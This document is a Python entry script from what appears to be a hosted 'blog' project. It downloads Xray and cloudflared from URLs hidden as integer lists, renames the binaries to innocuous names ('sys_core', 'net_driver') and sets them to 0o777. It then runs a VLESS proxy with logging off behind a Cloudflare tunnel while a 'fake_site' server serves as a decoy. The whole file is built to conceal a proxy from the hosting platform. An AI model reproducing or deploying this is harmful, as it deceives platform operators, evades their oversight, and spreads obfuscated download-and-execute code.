Bloging / bot /__main__.py
understanding's picture
Update bot/__main__.py
8040859 verified
import threading
import subprocess
import os
import time
import requests
import json
from bot.fake_site import run_fake_server
# 1. SECRET TOKEN
ARGO_TOKEN = os.environ.get("ARGO_TOKEN", "")
# 2. HIDDEN URLS
# Xray Core
CORE_INTS = [104, 116, 116, 112, 115, 58, 47, 47, 103, 105, 116, 104, 117, 98, 46, 99, 111, 109, 47, 88, 84, 76, 83, 47, 88, 114, 97, 121, 45, 99, 111, 114, 101, 47, 114, 101, 108, 101, 97, 115, 101, 115, 47, 100, 111, 119, 110, 108, 111, 97, 100, 47, 118, 49, 46, 56, 46, 52, 47, 88, 114, 97, 121, 45, 108, 105, 110, 117, 120, 45, 54, 52, 46, 122, 105, 112]
# Cloudflared
TUN_INTS = [104, 116, 116, 112, 115, 58, 47, 47, 103, 105, 116, 104, 117, 98, 46, 99, 111, 109, 47, 99, 108, 111, 117, 100, 102, 108, 97, 114, 101, 47, 99, 108, 111, 117, 100, 102, 108, 97, 114, 101, 100, 47, 114, 101, 108, 101, 97, 115, 101, 115, 47, 108, 97, 116, 101, 115, 116, 47, 100, 111, 119, 110, 108, 111, 97, 100, 47, 99, 108, 111, 117, 100, 102, 108, 97, 114, 101, 100, 45, 108, 105, 110, 117, 120, 45, 97, 109, 100, 54, 52]
def get_str(ints):
return "".join(chr(x) for x in ints)
def create_config():
# VLESS Config
my_uuid = "de037740-8c2a-41c1-8742-e3e9d4872959"
config = {
"log": {"loglevel": "none"},
"inbounds": [{
"port": 8080,
"protocol": "vless",
"settings": {
"clients": [{"id": my_uuid, "level": 0}],
"decryption": "none",
"fallbacks": []
},
"streamSettings": {
"network": "ws",
"wsSettings": {"path": "/vless"}
}
}],
"outbounds": [{"protocol": "freedom"}]
}
with open("config.json", "w") as f:
json.dump(config, f)
def download_tool(url_ints, filename):
url = get_str(url_ints)
print(f"📥 DOWNLOAD: Starting {filename}...")
try:
r = requests.get(url, stream=True)
with open(filename, 'wb') as f:
for chunk in r.iter_content(chunk_size=8192):
f.write(chunk)
os.chmod(filename, 0o777)
print(f"✅ INSTALLED: {filename}")
return True
except Exception as e:
print(f"❌ ERROR: {e}")
return False
def setup():
# 1. Download Core
if not os.path.exists("sys_core"):
if download_tool(CORE_INTS, "core.zip"):
subprocess.run(["unzip", "-q", "-o", "core.zip"], check=False)
if os.path.exists("xray"):
os.rename("xray", "sys_core")
os.chmod("sys_core", 0o777)
if os.path.exists("core.zip"): os.remove("core.zip")
# 2. Download Tunnel
if not os.path.exists("net_driver"):
download_tool(TUN_INTS, "net_driver")
# 3. Create Config
create_config()
# 4. FINAL CHECK: Do files exist?
if not os.path.exists("sys_core") or not os.path.exists("net_driver"):
print("🚨 CRITICAL: Files missing after setup. Retrying...")
time.sleep(2)
setup() # Retry if failed
def run_services():
# Start VLESS (Port 8080)
print("🔒 SYSTEM: Starting VLESS Core...")
subprocess.Popen(['./sys_core', '-c', 'config.json'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
# Start Cloudflare Tunnel
if ARGO_TOKEN:
print("🚀 NETWORK: Connecting Tunnel...")
subprocess.Popen(['./net_driver', 'tunnel', 'run', '--token', ARGO_TOKEN], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
else:
print("⚠️ NO TOKEN: Starting fallback mode")
subprocess.Popen(['./net_driver', 'tunnel', '--url', 'http://localhost:8080'], stderr=subprocess.PIPE, text=True)
if __name__ == '__main__':
# BLOCKING SETUP: Waits here until files are ready
print("⏳ INITIALIZING: Please wait...")
setup()
# Start Services only after setup is done
threading.Thread(target=run_services, daemon=True).start()
run_fake_server()